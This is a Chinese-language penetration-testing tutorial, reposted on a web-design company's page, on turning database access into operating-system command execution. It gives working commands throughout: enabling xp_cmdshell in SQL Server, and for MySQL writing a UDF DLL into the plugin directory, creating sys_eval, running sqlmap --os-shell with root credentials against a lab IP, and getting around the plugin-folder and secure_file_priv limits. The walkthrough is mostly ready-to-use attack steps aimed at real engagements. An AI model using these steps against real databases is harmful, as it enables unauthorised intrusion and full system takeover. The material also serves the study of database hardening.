如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

這篇文章將為大家詳細(xì)講解有關(guān)如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

創(chuàng)新互聯(lián)是一家專業(yè)提供德安企業(yè)網(wǎng)站建設(shè),專注與網(wǎng)站設(shè)計(jì)制作、網(wǎng)站制作、HTML5建站、小程序制作等業(yè)務(wù)。10年已為德安眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)網(wǎng)絡(luò)公司優(yōu)惠進(jìn)行中。

前言

在滲透中關(guān)于數(shù)據(jù)庫(kù)的利用主要分為兩種:
第一種是sql注入漏洞,配合網(wǎng)站的絕對(duì)路徑可以直接getshell。
第二種數(shù)據(jù)庫(kù)弱口令,如phpmyadmin弱口令,數(shù)據(jù)庫(kù)連接弱口令。
在我最初的時(shí)候,對(duì)于數(shù)據(jù)庫(kù)弱口令和sql注入的利用相同,都是在dba權(quán)限下,配合網(wǎng)站絕對(duì)路徑寫(xiě)shell。因?yàn)椴⒉皇敲看味寄苷业浇^對(duì)路徑,所以經(jīng)常出現(xiàn)登錄了數(shù)據(jù)庫(kù)卻拿不到shell的情況。

sql server執(zhí)行系統(tǒng)命令

sql server執(zhí)行系統(tǒng)命令比較簡(jiǎn)單,直接使用xp_cmdshell組件
開(kāi)啟cmdshell組件。

exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;

執(zhí)行命令

exec master.dbo.xp_cmdshell 'whoami';

這也就是為什么sql server注入點(diǎn)在使用sqlmap進(jìn)行os-shell時(shí),直接返回命令行執(zhí)行。

MySQL執(zhí)行系統(tǒng)命令

mysql執(zhí)行系統(tǒng)命令適用于直接連接數(shù)據(jù)庫(kù)的情況下,理論上講sqlmap的sql-shell也可行,但是在實(shí)際利用中對(duì)SQL注入點(diǎn)的類型,執(zhí)行語(yǔ)句,語(yǔ)句長(zhǎng)度都有很大的限制。
本次靶機(jī)ip:172.16.86.161 root/root
思路:采用udf提權(quán)方式,上傳udf.dll文件。
首選需要確定mysql的版本號(hào),以及安裝目錄。

select @@version;       查看mysql版本

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

select @@basedir;       查看mysql安裝路徑

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

udf.dll存放位置分為2種情況。
1、Mysql版本大于5.1
udf.dll文件必須放在MySQL安裝目錄的lib\plugin文件夾下。
2、Mysql版本小于5.1:
win 2000 的服務(wù)器,需要將 udf.dll 文件導(dǎo)到 C:\Winnt\udf.dll 下。
win2003 服務(wù)器,要將 udf.dll 文件導(dǎo)出在 C:\Windows\udf.dll 下。
靶機(jī)的mysql版本號(hào)為 5.5.62大于5.1因此要把udf.dll文件放在MySQL安裝目錄的lib\plugin文件夾下。
sqlmap中自帶了udf.dll文件,放在data/udf中,文件經(jīng)過(guò)異或編碼無(wú)法直接使用,可以使用sqlmap/extra/cloak目錄下的cloak.py文件進(jìn)行解碼。

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

在準(zhǔn)備好udf.dll文件后,下一步的目標(biāo)是寫(xiě)入文件到指定的目錄下,我實(shí)驗(yàn)了3種寫(xiě)入方法。

into outfile直接寫(xiě)入

使用notepad++打開(kāi)udf文件。

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

復(fù)制內(nèi)容進(jìn)行16進(jìn)制編碼。

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

在數(shù)據(jù)庫(kù)中執(zhí)行:

select 16進(jìn)制編碼 into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

創(chuàng)建sys_eval

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

成功獲取system執(zhí)行權(quán)限。

select sys_eval('');

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

表內(nèi)容導(dǎo)出寫(xiě)入

建立表保存16進(jìn)制內(nèi)容。

set @my_udf=concat('',dll的16進(jìn)制);create table udf_data(data LONGBLOB);

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

將my_udf的內(nèi)容插入表udf_data中。

insert into udf_data values("");update udf_data set data = @my_udf;

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

將內(nèi)容導(dǎo)出到文件。

select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

創(chuàng)建sys_eval,成功執(zhí)行系統(tǒng)命令。

create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

用完之后刪除

drop function sys_eval;

sqlmap寫(xiě)入

sqlmap自帶了udf功能。

sqlmap.py -d "mysql://root:root@172.16.86.161:3306/mysql" --os-shell

直接os-shell執(zhí)行系統(tǒng)命令。

如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行

坑點(diǎn)

1、mysql lib目錄下的plugin文件夾在實(shí)戰(zhàn)中可能不存在。需要自己手動(dòng)創(chuàng)建,可以使用NTFS數(shù)據(jù)流創(chuàng)建,但成功率較低。

select 'test' into dumpfile 'D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

2 、高版本的mysql會(huì)有一個(gè)secure-file-priv參數(shù)限制,需要更改數(shù)據(jù)庫(kù)my.ini文件配置,并且重啟數(shù)據(jù)庫(kù)。

secure_file_priv=""

關(guān)于如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

分享標(biāo)題:如何分析數(shù)據(jù)庫(kù)系統(tǒng)命令執(zhí)行
文章分享:http://bm7419.com/article14/jjdjde.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供搜索引擎優(yōu)化、網(wǎng)站排名、商城網(wǎng)站網(wǎng)站維護(hù)網(wǎng)站設(shè)計(jì)、Google

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁(yè)設(shè)計(jì)公司